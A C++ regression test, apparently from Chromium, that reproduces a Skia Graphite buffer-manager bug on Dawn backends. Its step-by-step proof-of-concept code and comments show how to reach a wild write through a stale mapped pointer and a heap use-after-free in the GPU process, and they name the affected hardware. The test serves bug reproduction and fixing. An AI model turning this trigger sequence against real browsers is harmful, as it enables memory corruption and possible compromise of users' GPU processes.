// Copyright 2025 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
//
// Regression test demonstrating that an outstanding BufferSubAllocator can
// re-stash a stale transfer-buffer pointer (raw const Buffer*) and stale
// mapped pointer back into DrawBufferManager after onFailedBuffer(), and
// that the assert-only failure branch of transferToRecording() lets it
// survive into the next snap. On Dawn backends without
// wgpu::FeatureName::BufferMapExtendedUsages (NVIDIA-Vulkan, non-UMA D3D12,
// Dawn-OpenGLES) this leads to a GPU-process wild write through the stale
// mapped pointer and a heap-use-after-free of the freed transfer Buffer when
// CopyBufferToBufferTask is recorded for it.

#include <cstdint>
#include <cstring>
#include <memory>

#include "testing/gtest/include/gtest/gtest.h"
#include "third_party/dawn/include/dawn/dawn_proc.h"
#include "third_party/dawn/include/dawn/native/DawnNative.h"  // nogncheck
#include "third_party/skia/include/gpu/graphite/Context.h"
#include "third_party/skia/include/gpu/graphite/ContextOptions.h"
#include "third_party/skia/include/gpu/graphite/Recorder.h"
#include "third_party/skia/include/gpu/graphite/Recording.h"
#include "third_party/skia/include/gpu/graphite/dawn/DawnBackendContext.h"
#include "src/gpu/BufferWriter.h"
#include "src/gpu/graphite/BufferManager.h"
#include "src/gpu/graphite/Caps.h"
#include "src/gpu/graphite/ContextPriv.h"
#include "src/gpu/graphite/RecorderPriv.h"
#include "src/gpu/graphite/ResourceProvider.h"

namespace gpu {
namespace {

// Under ASAN, dawn::AllocNoThrow<T>() returns null for sizes >= 0x70000000,
// so creating a kXferCpuToGpu buffer of this size with mappedAtCreation=true
// will return nullptr from device.CreateBuffer(), giving us a deterministic
// failure inside DrawBufferManager::getBuffer() that calls onFailedBuffer().
// On a real device this corresponds to GPU-memory exhaustion driven from a
// renderer (large WebGL/WebGPU allocations).
constexpr size_t kHugeVertexBytes = 0x70000000u;  // 1.75 GiB

constexpr size_t kUniformSize = 64;

TEST(GraphiteBufferManagerStaleTransferTest, StaleTransferBufferAfterFailedSnap) {
  // -----------------------------------------------------------------------
  // 1) Set up a Dawn-SwiftShader-Vulkan device WITHOUT requesting
  //    BufferMapExtendedUsages so that DawnCaps::fDrawBufferCanBeMapped == false
  //    and DrawBufferManager takes the transfer-buffer path. This is exactly
  //    the production configuration on NVIDIA-Vulkan, non-UMA D3D12 and
  //    Dawn-OpenGLES (the feature is requested only as optional in Chrome and
  //    is not supported on those backends).
  // -----------------------------------------------------------------------
  dawnProcSetProcs(&dawn::native::GetProcs());

  wgpu::InstanceDescriptor instance_desc = {};
  static constexpr auto kTimedWaitAny = wgpu::InstanceFeatureName::TimedWaitAny;
  instance_desc.requiredFeatureCount = 1;
  instance_desc.requiredFeatures = &kTimedWaitAny;
  dawn::native::Instance dawn_instance(&instance_desc);

  wgpu::RequestAdapterOptions options = {};
  options.backendType = wgpu::BackendType::Vulkan;
  options.forceFallbackAdapter = true;  // SwiftShader
  options.featureLevel = wgpu::FeatureLevel::Core;

  std::vector<dawn::native::Adapter> adapters =
      dawn_instance.EnumerateAdapters(&options);
  ASSERT_FALSE(adapters.empty());

  // Intentionally do NOT request BufferMapExtendedUsages.
  wgpu::DeviceDescriptor device_desc = {};
  // Suppress noisy uncaptured-error logging from the intentional oversize
  // buffer creation; the error itself is expected.
  device_desc.SetUncapturedErrorCallback(
      [](const wgpu::Device&, wgpu::ErrorType, wgpu::StringView) {});
  wgpu::Device device =
      wgpu::Adapter(adapters[0].Get()).CreateDevice(&device_desc);
  ASSERT_TRUE(device);
  ASSERT_FALSE(device.HasFeature(wgpu::FeatureName::BufferMapExtendedUsages));

  wgpu::Instance instance(dawn_instance.Get());

  skgpu::graphite::DawnBackendContext backend_context = {};
  backend_context.fInstance = instance;
  backend_context.fDevice = device;
  backend_context.fQueue = device.GetQueue();

  skgpu::graphite::ContextOptions ctx_opts;
  std::unique_ptr<skgpu::graphite::Context> context =
      skgpu::graphite::ContextFactory::MakeDawn(backend_context, ctx_opts);
  ASSERT_TRUE(context);

  std::unique_ptr<skgpu::graphite::Recorder> recorder = context->makeRecorder();
  ASSERT_TRUE(recorder);

  const skgpu::graphite::Caps* caps = recorder->priv().caps();
  ASSERT_FALSE(caps->drawBufferCanBeMapped())
      << "Test requires the transfer-buffer path; got direct-map.";

  skgpu::graphite::DrawBufferManager* mgr =
      recorder->priv().drawBufferManager();
  skgpu::graphite::ResourceProvider* rp = recorder->priv().resourceProvider();

  // -----------------------------------------------------------------------
  // 2) Mimic DrawList::snapDrawPass: a stack-local UniformTracker holds a
  //    BufferSubAllocator obtained from getMappedUniformBuffer(). A subsequent
  //    vertex-buffer allocation fails, calling onFailedBuffer(). The
  //    UniformTracker's allocator destructs *after* onFailedBuffer() and
  //    BufferSubAllocator::reset() re-stashes it (with its stale fTransferBuffer
  //    raw Buffer* and fMappedPtr) into state.fAvailableBuffer.
  // -----------------------------------------------------------------------
  uint8_t payload[kUniformSize] = {};
  for (auto& b : payload) {
    b = 0xAB;
  }
  {
    auto [w1, b1, uniformAlloc] =
        mgr->getMappedUniformBuffer(kUniformSize, kUniformSize);
    ASSERT_TRUE(static_cast<bool>(w1));
    ASSERT_TRUE(static_cast<bool>(uniformAlloc));
    w1.write(payload, kUniformSize);

    // renderStep.writeVertices(...) -> getMappedVertexBuffer() with a size
    // the backend cannot satisfy (under ASAN, dawn::AllocNoThrow refuses the
    // mappedAtCreation staging allocation for the transfer buffer).
    auto [w2, b2, vertexAlloc] =
        mgr->getMappedVertexBuffer(kHugeVertexBytes, /*stride=*/1);
    ASSERT_FALSE(static_cast<bool>(w2));
    ASSERT_TRUE(mgr->hasMappingFailed());
    // vertexAlloc destructs (no-op, empty), then uniformAlloc destructs:
    // BufferSubAllocator::reset() takes the unguarded `else` branch and
    // re-stashes itself into state.fAvailableBuffer.
  }

  // -----------------------------------------------------------------------
  // 3) Recorder::snap():
  //    - DrawBufferManager::transferToRecording() takes the fMappingFailed
  //      branch which (in release) only does `fMappingFailed=false; return
  //      false;` -- the SkASSERTs that would catch the re-stashed
  //      fAvailableBuffer are stripped.
  //    - UploadBufferManager::transferToRecording() unmaps the transfer
  //      buffer T and moves its sk_sp<> into the recording.
  //    - valid==false -> recording = nullptr -> T's last sk_sp dropped.
  //    - forceProcessReturnedResources() returns T to the cache.
  // -----------------------------------------------------------------------
  std::unique_ptr<skgpu::graphite::Recording> failed = recorder->snap();
  ASSERT_FALSE(failed);
  ASSERT_FALSE(mgr->hasMappingFailed());

  // -----------------------------------------------------------------------
  // 4) Make T purgeable and free it. T (a MapWrite kXferCpuToGpu buffer) is
  //    re-mapped asynchronously on return-to-cache; drain callbacks and force
  //    a purge so that the underlying DawnBuffer is actually `delete`d. In
  //    production this corresponds to ResourceCache pressure or T's slot being
  //    recycled for another origin's transfer buffer.
  // -----------------------------------------------------------------------
  rp->setResourceCacheLimit(0);
  for (int i = 0; i < 8; ++i) {
    instance.ProcessEvents();
    rp->forceProcessReturnedResources();
  }
  rp->freeGpuResources();

  // -----------------------------------------------------------------------
  // 5) Next snap: writeUniforms -> getMappedUniformBuffer -> getBuffer()
  //    sees state.fAvailableBuffer has room and returns
  //    std::move(state.fAvailableBuffer) -- the stale allocator carrying
  //    fMappedPtr (T's pre-unmap VA) and fTransferBuffer.fBuffer = T (freed).
  //    writer.write() then performs a wild write through the stale fMappedPtr
  //    in the GPU process.
  // -----------------------------------------------------------------------
  fprintf(stderr,
          "[POC] requesting uniform buffer; if the bug is present, the stale "
          "allocator with dangling fTransferBuffer/fMappedPtr is reused\n");
  {
    auto [w3, b3, staleAlloc] =
        mgr->getMappedUniformBuffer(kUniformSize, kUniformSize);
    ASSERT_TRUE(static_cast<bool>(staleAlloc));
    if (w3) {
      // Wild write through stale fMappedPtr (T's invalidated mapping).
      fprintf(stderr, "[POC] writing through stale fMappedPtr\n");
      w3.write(payload, kUniformSize);
    }
    // staleAlloc destructs and re-stashes (else-branch) back into
    // state.fAvailableBuffer with the stale fTransferBuffer still set.
  }

  // -----------------------------------------------------------------------
  // 6) snap() again: transferToRecording() (success path) calls
  //    state.fAvailableBuffer.reset(), which pushes {sk_sp<A>, {T_raw,...}} to
  //    fUsedBuffers, then constructs CopyBufferToBufferTask::Make(T_raw, ...).
  //    On insertRecording(), DawnCommandBuffer::onCopyBufferToBuffer does
  //    `static_cast<const DawnBuffer*>(T_raw)->dawnBuffer()` -- a heap-UAF
  //    read of the freed transfer Buffer.
  // -----------------------------------------------------------------------
  std::unique_ptr<skgpu::graphite::Recording> recording = recorder->snap();
  if (recording) {
    fprintf(stderr,
            "[POC] inserting recording with CopyBufferToBufferTask carrying "
            "freed Buffer*\n");
    skgpu::graphite::InsertRecordingInfo info = {};
    info.fRecording = recording.get();
    context->insertRecording(info);
    context->submit(skgpu::graphite::SyncToCpu::kYes);
  }

  // If we got here, the bug either didn't reproduce on this configuration or
  // ASAN did not catch the wild write / UAF. The asserts above would have
  // failed if the precondition path wasn't reached.
  SUCCEED();
}

}  // namespace
}  // namespace gpu